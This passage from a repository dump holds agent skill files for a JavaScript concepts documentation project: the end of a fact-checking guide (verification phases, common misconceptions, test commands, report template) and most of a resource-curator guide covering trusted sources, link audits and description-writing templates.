micro)\n\n// 4. Comparison results\n[] == false        // true\n[] === false       // false\n![]                // false (empty array is truthy!)\n\n// 5. this binding\nconst obj = {\n  name: 'Alice',\n  greet: () => console.log(this.name)  // undefined! Arrow has no this\n}\n```\n\n---\n\n### Phase 2: MDN Documentation Verification\n\nAll claims about JavaScript APIs, methods, and behavior should align with MDN documentation.\n\n#### Step-by-Step Process\n\n1. **Check all MDN links:**\n   - Click each MDN link in the document\n   - Verify the link returns 200 (not 404)\n   - Confirm the linked page matches what's being referenced\n\n2. **Verify API descriptions:**\n   - Compare method signatures with MDN\n   - Check parameter names and types\n   - Verify return types\n   - Confirm edge case behavior\n\n3. **Check for deprecated APIs:**\n   - Look for deprecation warnings on MDN\n   - Flag any deprecated methods being taught as current\n\n4. **Verify browser compatibility claims:**\n   - Cross-reference with MDN compatibility tables\n   - Check Can I Use for broader support data\n\n#### MDN Link Patterns\n\n| Content Type | MDN URL Pattern |\n|--------------|-----------------|\n| Web APIs | `https://developer.mozilla.org/en-US/docs/Web/API/{APIName}` |\n| Global Objects | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/{Object}` |\n| Statements | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/{Statement}` |\n| Operators | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/{Operator}` |\n| HTTP | `https://developer.mozilla.org/en-US/docs/Web/HTTP` |\n\n#### What to Verify Against MDN\n\n| Claim Type | What to Check |\n|------------|---------------|\n| Method signature | Parameters, optional params, return type |\n| Return value | Exact type and possible values |\n| Side effects | Does it mutate? What does it affect? |\n| Exceptions | What errors can it throw? |\n| Browser support | Compatibility tables |\n| Deprecation status | Any deprecation warnings? |\n\n---\n\n### Phase 3: ECMAScript Specification Compliance\n\nFor nuanced JavaScript behavior, verify against the ECMAScript specification.\n\n#### When to Check the Spec\n\n- Edge cases and unusual behavior\n- Claims about \"how JavaScript works internally\"\n- Type coercion rules\n- Operator precedence\n- Execution order guarantees\n- Claims using words like \"always\", \"never\", \"guaranteed\"\n\n#### How to Navigate the Spec\n\nThe ECMAScript specification is at: https://tc39.es/ecma262/\n\n| Concept | Spec Section |\n|---------|--------------|\n| Type coercion | Abstract Operations (7.1) |\n| Equality | Abstract Equality Comparison (7.2.14), Strict Equality (7.2.15) |\n| typeof | The typeof Operator (13.5.3) |\n| Objects | Ordinary and Exotic Objects' Behaviours (10) |\n| Functions | ECMAScript Function Objects (10.2) |\n| this binding | ResolveThisBinding (9.4.4) |\n| Promises | Promise Objects (27.2) |\n| Iteration | Iteration (27.1) |\n\n#### Spec Verification Examples\n\n```javascript\n// Claim: \"typeof null returns 'object' due to a bug\"\n// Spec says: typeof null → \"object\" (Table 41)\n// Historical context: This is a known quirk from JS 1.0\n// Verdict: ✓ Correct, though calling it a \"bug\" is slightly informal\n\n// Claim: \"Promises always resolve asynchronously\"\n// Spec says: Promise reaction jobs are enqueued (27.2.1.3.2)\n// Verdict: ✓ Correct - even resolved promises schedule microtasks\n\n// Claim: \"=== is faster than ==\"\n// Spec says: Nothing about performance\n// Verdict: ⚠️ Needs nuance - this is implementation-dependent\n```\n\n---\n\n### Phase 4: External Resource Verification\n\nAll external links (articles, videos, courses) must be verified.\n\n#### Step-by-Step Process\n\n1. **Check link accessibility:**\n   - Click each external link\n   - Verify it loads (not 404, not paywalled)\n   - Note any redirects to different URLs\n\n2. **Verify content accuracy:**\n   - Skim the resource for obvious errors\n   - Check it's JavaScript-focused (not C#, Python, Java)\n   - Verify it's not teaching anti-patterns\n\n3. **Check publication date:**\n   - For time-sensitive topics (async, modules, etc.), prefer recent content\n   - Flag resources from before 2015 for ES6+ topics\n\n4. **Verify description accuracy:**\n   - Does our description match what the resource actually covers?\n   - Is the description specific (not generic)?\n\n#### External Resource Checklist\n\n| Check | Pass Criteria |\n|-------|---------------|\n| Link works | Returns 200, content loads |\n| Not paywalled | Free to access (or clearly marked) |\n| JavaScript-focused | Not primarily about other languages |\n| Not outdated | Post-2015 for modern JS topics |\n| Accurate description | Our description matches actual content |\n| No anti-patterns | Doesn't teach bad practices |\n| Reputable source | From known/trusted creators |\n\n#### Red Flags in External Resources\n\n- Uses `var` everywhere for ES6+ topics\n- Uses callbacks for content about Promises/async\n- Teaches jQuery as modern DOM manipulation\n- Contains factual errors about JavaScript\n- Video is >2 hours without timestamp links\n- Content is primarily about another language\n- Uses deprecated APIs without noting deprecation\n\n---\n\n### Phase 5: Technical Claims Audit\n\nReview all prose claims about JavaScript behavior.\n\n#### Claims That Need Verification\n\n| Claim Type | How to Verify |\n|------------|---------------|\n| Performance claims | Need benchmarks or caveats |\n| Browser behavior | Specify which browsers, check MDN |\n| Historical claims | Verify dates/versions |\n| \"Always\" or \"never\" statements | Check for exceptions |\n| Comparisons (X vs Y) | Verify both sides accurately |\n\n#### Red Flags in Technical Claims\n\n- \"Always\" or \"never\" without exceptions noted\n- Performance claims without benchmarks\n- Browser behavior claims without specifying browsers\n- Comparisons that oversimplify differences\n- Historical claims without dates\n- Claims about \"how JavaScript works\" without spec reference\n\n#### Examples of Claims to Verify\n\n```markdown\n❌ \"async/await is always better than Promises\"\n→ Verify: Not always - Promise.all() is better for parallel operations\n\n❌ \"JavaScript is an interpreted language\"\n→ Verify: Modern JS engines use JIT compilation\n\n❌ \"Objects are passed by reference\"\n→ Verify: Technically \"passed by sharing\" - the reference is passed by value\n\n❌ \"=== is faster than ==\"\n→ Verify: Implementation-dependent, not guaranteed by spec\n\n✓ \"JavaScript is single-threaded\"\n→ Verify: Correct for the main thread (Web Workers are separate)\n\n✓ \"Promises always resolve asynchronously\"\n→ Verify: Correct per ECMAScript spec\n```\n\n---\n\n## Common JavaScript Misconceptions\n\nWatch for these misconceptions being stated as fact.\n\n### Type System Misconceptions\n\n| Misconception | Reality | How to Verify |\n|---------------|---------|---------------|\n| `typeof null === \"object\"` is intentional | It's a bug from JS 1.0 that can't be fixed for compatibility | Historical context, TC39 discussions |\n| JavaScript has no types | JS is dynamically typed, not untyped | ECMAScript spec defines types |\n| `==` is always wrong | `== null` checks both null and undefined, has valid uses | Many style guides allow this pattern |\n| `NaN === NaN` is false \"by mistake\" | It's intentional per IEEE 754 floating point spec | IEEE 754 standard |\n\n### Function Misconceptions\n\n| Misconception | Reality | How to Verify |\n|---------------|---------|---------------|\n| Arrow functions are just shorter syntax | They have no `this`, `arguments`, `super`, or `new.target` | MDN, ECMAScript spec |\n| `var` is hoisted to function scope with its value | Only declaration is hoisted, not initialization | Code test, MDN |\n| Closures are a special opt-in feature | All functions in JS are closures | ECMAScript spec |\n| IIFEs are obsolete | Still useful for one-time initialization | Modern codebases still use them |\n\n### Async Misconceptions\n\n| Misconception | Reality | How to Verify |\n|---------------|---------|---------------|\n| Promises run in parallel | JS is single-threaded; Promises are async, not parallel | Event loop explanation |\n| `async/await` is different from Promises | It's syntactic sugar over Promises | MDN, can await any thenable |\n| `setTimeout(fn, 0)` runs immediately | Runs after current execution + microtasks | Event loop, code test |\n| `await` pauses the entire program | Only pauses the async function, not the event loop | Code test |\n\n### Object Misconceptions\n\n| Misconception | Reality | How to Verify |\n|---------------|---------|---------------|\n| Objects are \"passed by reference\" | References are passed by value (\"pass by sharing\") | Reassignment test |\n| `const` makes objects immutable | `const` prevents reassignment, not mutation | Code test |\n| Everything in JavaScript is an object | Primitives are not objects (though they have wrappers) | `typeof` tests, MDN |\n| `Object.freeze()` creates deep immutability | It's shallow - nested objects can still be mutated | Code test |\n\n### Performance Misconceptions\n\n| Misconception | Reality | How to Verify |\n|---------------|---------|---------------|\n| `===` is always faster than `==` | Implementation-dependent, not spec-guaranteed | Benchmarks vary |\n| `for` loops are faster than `forEach` | Modern engines optimize both; depends on use case | Benchmark |\n| Arrow functions are faster | No performance difference, just different behavior | Benchmark |\n| Avoiding DOM manipulation is always faster | Sometimes batch mutations are slower than individual | Depends on browser, use case |\n\n---\n\n## Test Integration\n\nRunning the project's test suite is a key part of fact-checking.\n\n### Test Commands\n\n```bash\n# Run all tests\nnpm test\n\n# Run tests in watch mode\nnpm run test:watch\n\n# Run tests with coverage\nnpm run test:coverage\n\n# Run tests for specific concept\nnpm test -- tests/fundamentals/call-stack/\nnpm test -- tests/fundamentals/primitive-types/\nnpm test -- tests/fundamentals/value-reference-types/\nnpm test -- tests/fundamentals/type-coercion/\nnpm test -- tests/fundamentals/equality-operators/\nnpm test -- tests/fundamentals/scope-and-closures/\n```\n\n### Test Directory Structure\n\n```\ntests/\n├── fundamentals/              # Concepts 1-6\n│   ├── call-stack/\n│   ├── primitive-types/\n│   ├── value-reference-types/\n│   ├── type-coercion/\n│   ├── equality-operators/\n│   └── scope-and-closures/\n├── functions-execution/       # Concepts 7-8\n│   ├── event-loop/\n│   └── iife-modules/\n└── web-platform/              # Concepts 9-10\n    ├── dom/\n    └── http-fetch/\n```\n\n### When Tests Are Missing\n\nIf a concept doesn't have tests:\n1. Flag this in the report as \"needs test coverage\"\n2. Manually verify code examples are correct\n3. Consider adding tests as a follow-up task\n\n---\n\n## Verification Resources\n\n### Primary Sources\n\n| Resource | URL | Use For |\n|----------|-----|---------|\n| MDN Web Docs | https://developer.mozilla.org | API docs, guides, compatibility |\n| ECMAScript Spec | https://tc39.es/ecma262 | Authoritative behavior |\n| TC39 Proposals | https://github.com/tc39/proposals | New features, stages |\n| Can I Use | https://caniuse.com | Browser compatibility |\n| Node.js Docs | https://nodejs.org/docs | Node-specific APIs |\n| V8 Blog | https://v8.dev/blog | Engine internals |\n\n### Project Resources\n\n| Resource | Path | Use For |\n|----------|------|---------|\n| Test Suite | `/tests/` | Verify code examples |\n| Concept Pages | `/docs/concepts/` | Current content |\n| Run Tests | `npm test` | Execute all tests |\n\n---\n\n## Fact Check Report Template\n\nUse this template to document your findings.\n\n```markdown\n# Fact Check Report: [Concept Name]\n\n**File:** `/docs/concepts/[slug].mdx`\n**Date:** YYYY-MM-DD\n**Reviewer:** [Name/Claude]\n**Overall Status:** ✅ Verified | ⚠️ Minor Issues | ❌ Major Issues\n\n---\n\n## Executive Summary\n\n[2-3 sentence summary of findings. State whether the page is accurate overall and highlight any critical issues.]\n\n**Tests Run:** Yes/No\n**Test Results:** X passing, Y failing\n**External Links Checked:** X/Y valid\n\n---\n\n## Phase 1: Code Example Verification\n\n| # | Description | Line | Status | Notes |\n|---|-------------|------|--------|-------|\n| 1 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] |\n| 2 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] |\n| 3 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] |\n\n### Code Issues Found\n\n#### Issue 1: [Title]\n\n**Location:** Line XX\n**Severity:** Critical/Major/Minor\n**Current Code:**\n```javascript\n// The problematic code\n```\n**Problem:** [Explanation of what's wrong]\n**Correct Code:**\n```javascript\n// The corrected code\n```\n\n---\n\n## Phase 2: MDN/Specification Verification\n\n| Claim | Location | Source | Status | Notes |\n|-------|----------|--------|--------|-------|\n| [Claim made] | Line XX | MDN/Spec | ✅/⚠️/❌ | [Notes] |\n\n### MDN Link Status\n\n| Link Text | URL | Status |\n|-----------|-----|--------|\n| [Text] | [URL] | ✅ 200 / ❌ 404 |\n\n### Specification Discrepancies\n\n[If any claims don't match the ECMAScript spec, detail them here]\n\n---\n\n## Phase 3: External Resource Verification\n\n| Resource | Type | Link | Content | Notes |\n|----------|------|------|---------|-------|\n| [Title] | Article/Video | ✅/❌ | ✅/⚠️/❌ | [Notes] |\n\n### Broken Links\n\n1. **Line XX:** [URL] - 404 Not Found\n2. **Line YY:** [URL] - Domain expired\n\n### Content Concerns\n\n1. **[Resource name]:** [Concern - e.g., outdated, wrong language, anti-patterns]\n\n### Description Accuracy\n\n| Resource | Description Accurate? | Notes |\n|----------|----------------------|-------|\n| [Title] | ✅/❌ | [Notes] |\n\n---\n\n## Phase 4: Technical Claims Audit\n\n| Claim | Location | Verdict | Notes |\n|-------|----------|---------|-------|\n| \"[Claim]\" | Line XX | ✅/⚠️/❌ | [Notes] |\n\n### Claims Needing Revision\n\n1. **Line XX:** \"[Current claim]\"\n   - **Issue:** [What's wrong]\n   - **Suggested:** \"[Revised claim]\"\n\n---\n\n## Phase 5: Test Results\n\n**Test File:** `/tests/[category]/[concept]/[concept].test.js`\n**Tests Run:** XX\n**Passing:** XX\n**Failing:** XX\n\n### Failing Tests\n\n| Test Name | Expected | Actual | Related Doc Line |\n|-----------|----------|--------|------------------|\n| [Test] | [Expected] | [Actual] | Line XX |\n\n### Coverage Gaps\n\nExamples in documentation without corresponding tests:\n- [ ] Line XX: [Description of untested example]\n- [ ] Line YY: [Description of untested example]\n\n---\n\n## Issues Summary\n\n### Critical (Must Fix Before Publishing)\n\n1. **[Issue title]**\n   - Location: Line XX\n   - Problem: [Description]\n   - Fix: [How to fix]\n\n### Major (Should Fix)\n\n1. **[Issue title]**\n   - Location: Line XX\n   - Problem: [Description]\n   - Fix: [How to fix]\n\n### Minor (Nice to Have)\n\n1. **[Issue title]**\n   - Location: Line XX\n   - Suggestion: [Improvement]\n\n---\n\n## Recommendations\n\n1. **[Priority 1]:** [Specific actionable recommendation]\n2. **[Priority 2]:** [Specific actionable recommendation]\n3. **[Priority 3]:** [Specific actionable recommendation]\n\n---\n\n## Verification Checklist\n\n- [ ] All code examples verified for correct output\n- [ ] All MDN links checked and valid\n- [ ] API descriptions match MDN documentation\n- [ ] ECMAScript compliance verified (if applicable)\n- [ ] All external resource links accessible\n- [ ] Resource descriptions accurately represent content\n- [ ] No common JavaScript misconceptions found\n- [ ] Technical claims are accurate and nuanced\n- [ ] Project tests run and reviewed\n- [ ] Report complete and ready for handoff\n\n---\n\n## Sign-off\n\n**Verified by:** [Name/Claude]\n**Date:** YYYY-MM-DD\n**Recommendation:** ✅ Ready to publish | ⚠️ Fix issues first | ❌ Major revision needed\n```\n\n---\n\n## Quick Reference: Verification Commands\n\n```bash\n# Run all tests\nnpm test\n\n# Run specific concept tests\nnpm test -- tests/fundamentals/call-stack/\n\n# Check for broken links (if you have a link checker)\n# Install: npm install -g broken-link-checker\n# Run: blc https://developer.mozilla.org/... -ro\n\n# Quick JavaScript REPL for testing\nnode\n> typeof null\n'object'\n> [1,2,3].map(x => x * 2)\n[ 2, 4, 6 ]\n```\n\n---\n\n## Summary\n\nWhen fact-checking a concept page:\n\n1. **Run tests first** — `npm test` catches code errors automatically\n2. **Verify every code example** — Output comments must match reality\n3. **Check all MDN links** — Broken links and incorrect descriptions hurt credibility\n4. **Verify external resources** — Must be accessible, accurate, and JavaScript-focused\n5. **Audit technical claims** — Watch for misconceptions and unsupported statements\n6. **Document everything** — Use the report template for consistent, thorough reviews\n\n**Remember:** Our readers trust us to teach them correct JavaScript. A single piece of misinformation can create confusion that takes years to unlearn. Take fact-checking seriously.\n"
  },
  {
    "path": ".opencode/skill/resource-curator/SKILL.md",
    "content": "---\nname: resource-curator\ndescription: Find, evaluate, and maintain high-quality external resources for JavaScript concept documentation, including auditing for broken and outdated links\n---\n\n# Skill: Resource Curator for Concept Pages\n\nUse this skill to find, evaluate, add, and maintain high-quality external resources (articles, videos, courses) for concept documentation pages. This includes auditing existing resources for broken links and outdated content.\n\n## When to Use\n\n- Adding resources to a new concept page\n- Refreshing resources on existing pages\n- Auditing for broken or outdated links\n- Reviewing community-contributed resources\n- Periodic link maintenance\n\n## Resource Curation Methodology\n\nFollow these five phases for comprehensive resource curation.\n\n### Phase 1: Audit Existing Resources\n\nBefore adding new resources, audit what's already there:\n\n1. **Check link accessibility** — Does each link return 200?\n2. **Verify content accuracy** — Is the content still correct?\n3. **Check publication dates** — Is it too old for the topic?\n4. **Identify outdated content** — Does it use old syntax/patterns?\n5. **Review descriptions** — Are they specific or generic?\n\n### Phase 2: Identify Resource Gaps\n\nCompare current resources against targets:\n\n| Section | Target Count | Icon |\n|---------|--------------|------|\n| Reference | 2-4 MDN links | `book` |\n| Articles | 4-6 articles | `newspaper` |\n| Videos | 3-4 videos | `video` |\n| Courses | 1-3 (optional) | `graduation-cap` |\n| Books | 1-2 (optional) | `book` |\n\nAsk:\n- Are there enough resources for beginners AND advanced learners?\n- Is there visual content (diagrams, animations)?\n- Are official references (MDN) included?\n- Is there diversity in teaching styles?\n\n### Phase 3: Find New Resources\n\nSearch trusted sources using targeted queries:\n\n**For Articles:**\n```\n[concept] javascript tutorial site:javascript.info\n[concept] javascript explained site:freecodecamp.org\n[concept] javascript site:dev.to\n[concept] javascript deep dive site:2ality.com\n[concept] javascript guide site:css-tricks.com\n```\n\n**For Videos:**\n```\nYouTube: [concept] javascript explained\nYouTube: [concept] javascript tutorial\nYouTube: jsconf [concept]\nYouTube: [concept] javascript fireship\nYouTube: [concept] javascript web dev simplified\n```\n\n**For MDN:**\n```\n[concept] site:developer.mozilla.org\n[API name] MDN\n```\n\n### Phase 4: Write Descriptions\n\nEvery resource needs a specific, valuable description:\n\n**Formula:**\n```\nSentence 1: What makes this resource unique OR what it specifically covers\nSentence 2: Why reader should click (what they'll gain, who it's best for)\n```\n\n### Phase 5: Format and Organize\n\n- Use correct Card syntax with proper icons\n- Order resources logically (foundational first, advanced later)\n- Ensure consistent formatting\n\n---\n\n## Trusted Sources\n\n### Reference Sources (Priority Order)\n\n| Priority | Source | URL | Best For |\n|----------|--------|-----|----------|\n| 1 | MDN Web Docs | developer.mozilla.org | API docs, guides, compatibility |\n| 2 | ECMAScript Spec | tc39.es/ecma262 | Authoritative behavior |\n| 3 | Node.js Docs | nodejs.org/docs | Node-specific APIs |\n| 4 | Web.dev | web.dev | Performance, best practices |\n| 5 | Can I Use | caniuse.com | Browser compatibility |\n\n### Article Sources (Priority Order)\n\n| Priority | Source | Why Trusted |\n|----------|--------|-------------|\n| 1 | javascript.info | Comprehensive, exercises, well-maintained |\n| 2 | MDN Guides | Official, accurate, regularly updated |\n| 3 | freeCodeCamp | Beginner-friendly, practical |\n| 4 | 2ality (Dr. Axel) | Deep technical dives, spec-focused |\n| 5 | CSS-Tricks | DOM, visual topics, well-written |\n| 6 | dev.to (Lydia Hallie) | Visual explanations, animations |\n| 7 | LogRocket Blog | Practical tutorials, real-world |\n| 8 | Smashing Magazine | In-depth, well-researched |\n| 9 | Digital Ocean | Clear tutorials, examples |\n| 10 | Kent C. Dodds | Testing, React, best practices |\n\n### Video Creators (Priority Order)\n\n| Priority | Creator | Style | Best For |\n|----------|---------|-------|----------|\n| 1 | Fireship | Fast, modern, entertaining | Quick overviews, modern JS |\n| 2 | Web Dev Simplified | Clear, beginner-friendly | Beginners, fundamentals |\n| 3 | Fun Fun Function | Deep-dives, personality | Understanding \"why\" |\n| 4 | Traversy Media | Comprehensive crash courses | Full topic coverage |\n| 5 | JSConf/dotJS | Expert conference talks | Advanced, in-depth |\n| 6 | Academind | Thorough explanations | Complete understanding |\n| 7 | The Coding Train | Creative, visual | Visual learners |\n| 8 | Wes Bos | Practical, real-world | Applied learning |\n| 9 | The Net Ninja | Step-by-step tutorials | Following along |\n| 10 | Programming with Mosh | Professional, clear | Career-focused |\n\n### Course Sources\n\n| Source | Type | Notes |\n|--------|------|-------|\n| javascript.info | Free | Comprehensive, exercises |\n| Piccalilli | Free | Well-written, modern |\n| freeCodeCamp | Free | Project-based |\n| Frontend Masters | Paid | Expert instructors |\n| Egghead.io | Paid | Short, focused lessons |\n| Udemy (top-rated) | Paid | Check reviews carefully |\n| Codecademy | Freemium | Interactive |\n\n---\n\n## Quality Criteria\n\n### Must Have (Required)\n\n- [ ] **Link works** — Returns 200 (not 404, 301, 5xx)\n- [ ] **JavaScript-focused** — Not primarily about C#, Python, Java, etc.\n- [ ] **Technically accurate** — No factual errors or anti-patterns\n- [ ] **Accessible** — Free or has meaningful free preview\n\n### Should Have (Preferred)\n\n- [ ] **Recent enough** — See publication date guidelines below\n- [ ] **Reputable source** — From trusted sources list or well-known creator\n- [ ] **Unique perspective** — Not duplicate of existing resources\n- [ ] **Appropriate depth** — Matches concept complexity\n- [ ] **Good engagement** — Positive comments, high views (for videos)\n\n### Red Flags (Reject)\n\n| Red Flag | Why It Matters |\n|----------|----------------|\n| Uses `var` everywhere | Outdated for ES6+ topics |\n| Teaches anti-patterns | Harmful to learners |\n| Primarily other languages | Wrong focus |\n| Hard paywall (no preview) | Inaccessible |\n| Pre-2015 for modern topics | Likely outdated |\n| Low quality comments | Often indicates issues |\n| Factual errors | Spreads misinformation |\n| Clickbait title, thin content | Wastes reader time |\n\n---\n\n## Publication Date Guidelines\n\n| Topic Category | Minimum Year | Reasoning |\n|----------------|--------------|-----------|\n| **ES6+ Features** | 2015+ | ES6 released June 2015 |\n| **Promises** | 2015+ | Native Promises in ES6 |\n| **async/await** | 2017+ | ES2017 feature |\n| **ES Modules** | 2018+ | Stable browser support |\n| **Optional chaining (?.)** | 2020+ | ES2020 feature |\n| **Nullish coalescing (??)** | 2020+ | ES2020 feature |\n| **Top-level await** | 2022+ | ES2022 feature |\n| **Fundamentals** (closures, scope, this) | Any | Core concepts don't change |\n| **DOM manipulation** | 2018+ | Modern APIs preferred |\n| **Fetch API** | 2017+ | Widespread support |\n\n**Rule of thumb:** For time-sensitive topics, prefer content from the last 3-5 years. For fundamentals, older classic content is often excellent.\n\n---\n\n## Description Writing Guide\n\n### The Formula\n\n```\nSentence 1: What makes this resource unique OR what it specifically covers\nSentence 2: Why reader should click (what they'll gain, who it's best for)\n```\n\n### Good Examples\n\n```markdown\n<Card title=\"JavaScript Visualized: Promises & Async/Await — Lydia Hallie\" icon=\"newspaper\" href=\"https://dev.to/lydiahallie/javascript-visualized-promises-async-await-5gke\">\n  Animated GIFs showing the call stack, microtask queue, and event loop in action. \n  The visuals make Promise execution order finally click for visual learners.\n</Card>\n\n<Card title=\"What the heck is the event loop anyway? — Philip Roberts\" icon=\"video\" href=\"https://www.youtube.com/watch?v=8aGhZQkoFbQ\">\n  The legendary JSConf talk that made the event loop click for millions of developers. \n  Philip Roberts' live visualizations are the gold standard — a must-watch.\n</Card>\n\n<Card title=\"You Don't Know JS: Scope & Closures — Kyle Simpson\" icon=\"book\" href=\"https://github.com/getify/You-Dont-Know-JS/blob/2nd-ed/scope-closures/README.md\">\n  Kyle Simpson's deep dive into JavaScript's scope mechanics and closure behavior. \n  Goes beyond the basics into edge cases and mental models for truly understanding scope.\n</Card>\n\n<Card title=\"JavaScript Promises in 10 Minutes — Web Dev Simplified\" icon=\"video\" href=\"https://www.youtube.com/watch?v=DHvZLI7Db8E\">\n  Quick, clear explanation covering Promise creation, chaining, and error handling. \n  Perfect starting point if you're new to async JavaScript.\n</Card>\n\n<Card title=\"How to Escape Async/Await Hell — Aditya Agarwal\" icon=\"newspaper\" href=\"https://medium.com/free-code-camp/avoiding-the-async-await-hell-c77a0fb71c4c\">\n  The pizza-and-drinks ordering analogy makes parallel vs sequential execution crystal clear. \n  Essential reading once you know async/await basics but want to write faster code.\n</Card>\n```\n\n### Bad Examples (Avoid)\n\n```markdown\n<!-- TOO GENERIC -->\n<Card title=\"Promises Tutorial\" icon=\"newspaper\" href=\"...\">\n  A comprehensive guide to Promises in JavaScript.\n</Card>\n\n<!-- NO VALUE PROPOSITION -->\n<Card title=\"Learn Closures\" icon=\"video\" href=\"...\">\n  This video explains closures in JavaScript.\n</Card>\n\n<!-- VAGUE, NO SPECIFICS -->\n<Card title=\"JavaScript Guide\" icon=\"newspaper\" href=\"...\">\n  Everything you need to know about JavaScript.\n</Card>\n\n<!-- JUST RESTATING THE TITLE -->\n<Card title=\"Understanding the Event Loop\" icon=\"video\" href=\"...\">\n  A video about understanding the event loop.\n</Card>\n```\n\n### Words and Phrases to Avoid\n\n| Avoid | Why | Use Instead |\n|-------|-----|-------------|\n| \"comprehensive guide to...\" | Vague, overused | Specify what's covered |\n| \"learn all about...\" | Generic | What specifically will they learn? |\n| \"everything you need to know...\" | Hyperbolic | Be specific |\n| \"great tutorial on...\" | Subjective filler | Why is it great? |\n| \"explains X\" | Too basic | How does it explain? What's unique? |\n| \"in-depth look at...\" | Vague | What depth? What aspect? |\n\n### Words and Phrases That Work\n\n| Good Phrase | Example |\n|-------------|---------|\n| \"step-by-step walkthrough\" | \"Step-by-step walkthrough of building a Promise from scratch\" |\n| \"visual explanation\" | \"Visual explanation with animated diagrams\" |\n| \"deep dive into\" | \"Deep dive into V8's optimization strategies\" |\n| \"practical examples of\" | \"Practical examples of closures in React hooks\" |\n| \"the go-to reference for\" | \"The go-to reference for array method signatures\" |\n| \"finally makes X click\" | \"Finally makes prototype chains click\" |\n| \"perfect for beginners\" | \"Perfect for beginners new to async code\" |\n| \"covers X, Y, and Z\" | \"Covers creation, chaining, and error handling\" |\n\n---\n\n## Link Audit Process\n\n### Step 1: Check Each Link\n\nFor each resource in the concept page:\n\n1. **Click the link** — Does it load?\n2. **Note the HTTP status:**\n\n| Status | Meaning | Action |\n|--------|---------|--------|\n| 200 | OK | Keep, continue to content check |\n| 301/302 | Redirect | Update to final URL |\n| 404 | Not Found | Remove or find replacement |\n| 403 | Forbidden | Check manually, may be geo-blocked |\n| 5xx | Server Error | Retry later, may be temporary |\n\n### Step 2: Content Verification\n\nFor each accessible link:\n\n1. **Skim the content** — Is it still accurate?\n2. **Check the date** — When was it published/updated?\n3. **Verify JavaScript focus** — Is it primarily about JS?\n4. **Look for red flags** — Anti-patterns, errors, outdated syntax\n\n### Step 3: Description Review\n\nFor each resource:\n\n1. **Read current description** — Is it specific?\n2. **Compare to actual content** — Does it match?\n3. **Check for generic phrases** — \"comprehensive guide\", etc.\n4. **Identify improvements** — How can it be more specific?\n\n### Step 4: Gap Analysis\n\nAfter auditing all resources:\n\n1. **Count by section** — Do we meet targets?\n2. **Check diversity** — Beginner AND advanced? Visual AND text?\n3. **Identify missing types** — No MDN? No videos?\n4. **Note recommendations** — What should we add?\n\n---\n\n## Resource Section Templates\n\n### Reference Section\n\n```markdown\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"[Main Topic] — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/...\">\n    Official MDN documentation covering [specific aspects]. \n    The authoritative reference for [what it's best for].\n  </Card>\n  <Card title=\"[Related API/Concept] — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/...\">\n    [What this reference covers]. \n    Essential reading for understanding [specific aspect].\n  </Card>\n</CardGroup>\n```\n\n### Articles Section\n\n```markdown\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"[Article Title]\" icon=\"newspaper\" href=\"...\">\n    [What makes it unique/what it covers]. \n    [Why read this one/who it's for].\n  </Card>\n  <Card title=\"[Article Title]\" icon=\"newspaper\" href=\"...\">\n    [Specific coverage]. \n    [Value proposition].\n  </Card>\n  <Card title=\"[Article Title]\" icon=\"newspaper\" href=\"...\">\n    [Unique angle]. \n    [Why it's worth reading].\n  </Card>\n  <Card title=\"[Article Title]\" icon=\"newspaper\" href=\"...\">\n    [What it covers]. \n    [Best for whom].\n  </Card>\n</CardGroup>\n```\n\n### Videos Section\n\n```markdown\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"[Video Title] — [Creator]\" icon=\"video\" href=\"https://www.youtube.com/watch?v=...\">\n    [What it covers/unique approach]. \n    [Why watch/who it's for].\n  </Card>\n  <Card title=\"[Video Title] — [Creator]\" icon=\"video\" href=\"https://www.youtube.com/watch?v=...\">\n    [Specific focus]. \n    [What makes it stand out].\n  </Card>\n  <Card title=\"[Video Title] — [Creator]\" icon=\"video\" href=\"https://www.youtube.com/watch?v=...\">\n    [Coverage]. \n    [Value].\n  </Card>\n</CardGroup>\n```\n\n### Books Section (Optional)\n\n```markdown\n<Card title=\"[Book Title] — [Author]\" icon=\"book\" href=\"...\">\n  [What the book covers and its approach]. \n  [Who should read it and what they'll gain].\n</Card>\n```\n\n### Courses Section (Optional)\n\n```markdown\n<CardGroup cols={2}>\n  <Card title=\"[Course Title] — [Platform]\" icon=\"graduation-cap\" href=\"...\">\n    [What the course covers]. \n    [Format and who it's best for].\n  </Card>\n</CardGroup>\n```\n\n---\n\n## Resource Audit Report Template\n\nUse this template to document audit findings.\n\n```markdown\n# Resource Audit Report: [Concept Name]\n\n**File:** `/docs/concepts/[slug].mdx`\n**Date:** YYYY-MM-DD\n**Auditor:** [Name/Claude]\n\n---\n\n## Summary\n\n| Metric | Count |\n|--------|-------|\n| Total Resources | XX |\n| Working Links (200) | XX |\n| Broken Links (404) | XX |\n| Redirects (301/302) | XX |\n| Outdated Content | XX |\n| Generic Descriptions | XX |\n\n## Resource Count vs Targets\n\n| Section | Current | Target | Status |\n|---------|---------|--------|--------|\n| Reference (MDN) | X | 2-4 | ✅/⚠️/❌ |\n| Articles | X | 4-6 | ✅/⚠️/❌ |\n| Videos | X | 3-4 | ✅/⚠️/❌ |\n| Courses | X | 0-3 | ✅/⚠️/❌ |\n\n---\n\n## Broken Links (Remove or Replace)\n\n| Resource | Line | URL | Status | Action |\n|----------|------|-----|--------|--------|\n| [Title] | XX | [URL] | 404 | Remove |\n| [Title] | XX | [URL] | 404 | Replace with [alternative] |\n\n---\n\n## Redirects (Update URLs)\n\n| Resource | Line | Old URL | New URL |\n|----------|------|---------|---------|\n| [Title] | XX | [old] | [new] |\n\n---\n\n## Outdated Resources (Consider Replacing)\n\n| Resource | Line | Issue | Recommendation |\n|----------|------|-------|----------------|\n| [Title] | XX | Published 2014, uses var throughout | Replace with [modern alternative] |\n| [Title] | XX | Pre-ES6, no mention of let/const | Find updated version or replace |\n\n---\n\n## Description Improvements Needed\n\n| Resource | Line | Current | Suggested |\n|----------|------|---------|-----------|\n| [Title] | XX | \"A guide to closures\" | \"[Specific description with value prop]\" |\n| [Title] | XX | \"Learn 